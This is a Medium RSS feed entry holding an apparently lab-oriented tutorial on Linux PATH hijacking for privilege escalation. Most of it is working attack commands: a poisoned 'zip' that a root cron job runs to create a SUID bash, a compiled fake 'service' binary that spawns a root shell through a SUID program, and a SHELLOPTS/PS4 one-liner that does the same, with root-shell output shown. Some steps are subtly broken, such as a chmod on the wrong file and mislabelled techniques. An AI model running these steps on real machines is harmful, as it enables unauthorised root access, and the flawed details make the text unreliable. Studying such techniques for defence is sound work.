<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Chaiba Amari on Medium]]></title>
        <description><![CDATA[Stories by Chaiba Amari on Medium]]></description>
        <link>https://medium.com/@chaibaamari2?source=rss-66661e72bf30------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*uip3Z0rvksstTMT1U8fY2g.jpeg</url>
            <title>Stories by Chaiba Amari on Medium</title>
            <link>https://medium.com/@chaibaamari2?source=rss-66661e72bf30------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 18:29:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@chaibaamari2/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Deep Dive Into PATH Hijacking To Previlage Escalation]]></title>
            <link>https://medium.com/@chaibaamari2/deep-dive-into-path-hijacking-to-previlage-escalation-a17b3dade64c?source=rss-66661e72bf30------2</link>
            <guid isPermaLink="false">https://medium.com/p/a17b3dade64c</guid>
            <category><![CDATA[sudo]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Chaiba Amari]]></dc:creator>
            <pubDate>Mon, 06 Jul 2026 10:57:57 GMT</pubDate>
            <atom:updated>2026-07-06T22:44:48.622Z</atom:updated>
            <content:encoded><![CDATA[<h3>Part 1 : How Path Work</h3><p>When you type a command in the terminal, the shell doesn’t know where to find it.</p><pre># You type:<br>whoami<br><br># Shell thinks: &quot;Where is whoami?&quot;<br># It looks in PATH folders in ORDER until it finds it</pre><h4>What does PATH look like?</h4><pre>echo $PATH<br><br># Output:<br>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games</pre><p>This means the shell searches in this order:</p><pre>1. /usr/local/sbin/whoami ? #  FOUND! Use this one<br>2. /usr/local/bin/whoami ?<br>3. /usr/sbin/whoami ?<br>4. /usr/bin/whoami ? <br>5. /sbin/whoami<br>6. /bin/whoami<br>7. /usr/games/whoami<br>   <br>   <br>CRITICAL= It stops at the first match!</pre><h3>PART 2: HOW PATH HIJACKING WORKS</h3><p>Actually, we have several ways to exploit the $PATH variable, from simple techniques to more advanced ones</p><h3>Exploit 1: Direct Path Hijacking</h3><ol><li>Find writable folder in PATH</li><li>Create malicious binary with same name</li><li>WAIT for privileged user to run the command</li><li>When they do, our version runs<br> KEY: We poison PATH folders directly, don’t need SUID</li></ol><pre># What you must check<br><br># 1 - Question 1: What folders are in $PATH?<br>echo $PATH<br> # Example output:<br>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br><br># 2 - Question 2: Which of these folders can I WRITE to?<br>find / -writable 2&gt;/dev/null<br>find / -writable 2&gt;/dev/null | cut -d &quot;/&quot; -f 2,3 | grep -v proc | sort -u<br><br># Question 3: Can you MODIFY $PATH itself?<br># Try to change PATH<br>export PATH=/tmp:$PATH<br># Check if it worked:<br>echo $PATH<br># Output: /tmp:/usr/local/sbin:/usr/local/bin...<br># YES, you can modify it!<br># But this is for STEP 4 below<br># Question 4: Is there a script/app that uses RELATIVE paths?<br>You need to find an application that:<br>1. Calls a command WITHOUT absolute path<br>2. That runs as a PRIVILEGED user<br>3. That you can trigger</pre><p>REAL EXAMPLE (Complete Attack)</p><pre># /etc/crontab (runs as root):<br>* * * * * root /home/admin/backup.sh</pre><pre># /home/admin/backup.sh (runs every minute as root)<br>#!/bin/bash<br><br># This is the vulnerable line:<br>tar -czf backup.tar.gz /important/data   # ← Works fine<br>zip -j backup.zip /important/data        # ← Uses relative command!<br># tar = found via PATH<br># zip = found via PATH<br># methode 1 - <br># If attacker can write to a PATH folder BEFORE /usr/bin...<br># Attacker puts malicious &quot;zip&quot; in /usr/local/bin<br># Cron runs: /home/admin/backup.sh as ROOT<br># backup.sh calls: zip (looks in PATH)<br># Finds: /usr/local/bin/zip (attacker&#39;s)<br># Runs: As ROOT!<br># Methode 2 : if you can modify in PATH so you can create /tmp/zip</pre><pre># Methode 1 <br># Step 1: Create malicious zip<br>cat &gt; /usr/local/bin/zip &lt;&lt; &#39;EOF&#39;<br>#!/bin/bash<br># Attacker&#39;s code runs as ROOT<br>cp /bin/bash /tmp/bash<br>chmod u+s /tmp/bash<br>EOF<br><br>chmod +x /usr/local/bin/zip<br># Step 2: Wait for cron to run<br># (1 minute passes)<br># Step 3: Get root shell<br>/tmp/bash -p  # ROOT SHELL!<br># Methode 2 - same Idea in cron Jobs<br>export PATH=/tmp:$PATH<br># Check if it worked:<br>echo $PATH<br># Output: /tmp:/usr/local/sbin:/usr/local/bin...<br># whenevenr the Ext of zip write here for instance we suppose here zip.sh<br>echo &#39;cp /bin/bash /tmp/bash ; chmod +s /tmp/bash&#39; &gt; /tmp/zip<br>chmod +x /usr/local/bin/zip <br># Step 2: Wait 60 seconds for cron <br># Step 3: Get root shell <br>/tmp/bash -p <br># uid=0(root) gid=0(root) ✓ SUCCESS!</pre><h3>Exploit 2 : Direct PATH Hijacking With SUID</h3><p>After we go further, I want to cover some techniques for determining whether a path is an absolute path or a relative path, since the exploitation often depends on this distinction</p><pre># 1 -  Check with strings (Command): <br><br>strings /usr/local/bin/backup-root <br># Output:<br>/usr/sbin/service <br>/bin/tar <br>/etc/backup.conf <br>tar <br><br># 2 -  Use ltrace to see what&#39;s ACTUALLY called: <br><br>ltrace /usr/local/bin/backup-root <br># Output: <br>system(&quot;/usr/sbin/service backup-daemon restart&quot;) ← ABSOLUTE! <br>system(&quot;/bin/tar -czf...&quot;) ← ABSOLUTE! <br>system(&quot;mail root&quot;) ← RELATIVE!<br><br># 3 -  Use Strace To see the system Call<br># you can find this in Exploitation of sudo system call (I will Publich soon)</pre><p>Technique 1 : With Absolute Path</p><pre>TCM@debian:~$ find / -perm -u=s 2&gt;/dev/null<br>/usr/bin/chfn<br>/usr/local/bin/suid-env  # this is so interast <br>/usr/local/bin/suid-env2 # this is so interast <br>/sbin/mount.nfs<br><br># use the command strings to see the content <br>TCM@debian:~$ strings /usr/local/bin/suid-env<br>/lib64/ld-linux-x86-64.so.2<br>5q;Xq<br>__gmon_start__<br>libc.so.6<br>setresgid <br>setresuid<br>system   # this is the system() in c call the apache server ```<br>         # like this  : system(&quot;service apache2 start&quot;);<br>         # so the service apache2 start try to found where the service and found it in $PATH so it use retalive path ==&gt; PATH HIjacking<br>__libc_start_main<br>GLIBC_2.2.5<br>fff.<br>fffff.<br>l$ L<br>t$(L<br>|$0H <br>service apache2 start <br># exemple of the code <br>#include &lt;stdlib.h&gt;<br>int main() {<br>    setuid(0);<br>    system(&quot;cp file backup&quot;);  // ← RELATIVE PATH!<br>    return 0;<br>}<br># the exploitable <br>- It looks for `cp` in PATH<br>- If `/tmp` is in PATH, it finds `/tmp/cp` first<br>- Your malicious `/tmp/cp` runs as root<br>  <br># step one : we need to do the same thing with service and make it use our path<br># he look for service.c that found in usr/bin/service.c so we make it use /tmp/service.c<br>TCM@debian:~$ echo &#39;int main(){ setuid(0);setgid(0);system(&quot;/bin/bash&quot;);return 0;}&#39; &gt; /tmp/service.c<br>TCM@debian:~$ gcc /tmp/service.c -o /tmp/service<br>TCM@debian:~$ export PATH=/tmp:$PATH<br>TCM@debian:~$ /usr/local/bin/suid-env<br>root@debian:~# id<br>uid=0(root) gid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)</pre><p>Technique 2: With Relative Path</p><pre>TCM@debian:~$ find / -perm -u=s 2&gt;/dev/null<br>/usr/bin/chfn<br>/usr/local/bin/suid-env2 # this is so interast With Relative Path<br>/sbin/mount.nfs<br><br># Create the attack:<br>env -i SHELLOPTS=xtrace PS4=&#39;$(cp /bin/bash /tmp &amp;&amp; chown root.root /tmp/bash &amp;&amp; chmod +s /tmp/bash)&#39; /bin/sh -c &#39;/usr/local/bin/suid-env2; set +x; /tmp/bash -p&#39;<br># Result:<br># - SUID binary runs as root<br># - PS4 gets evaluated (our code runs as root)<br># - We get root shell!</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a17b3dade64c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>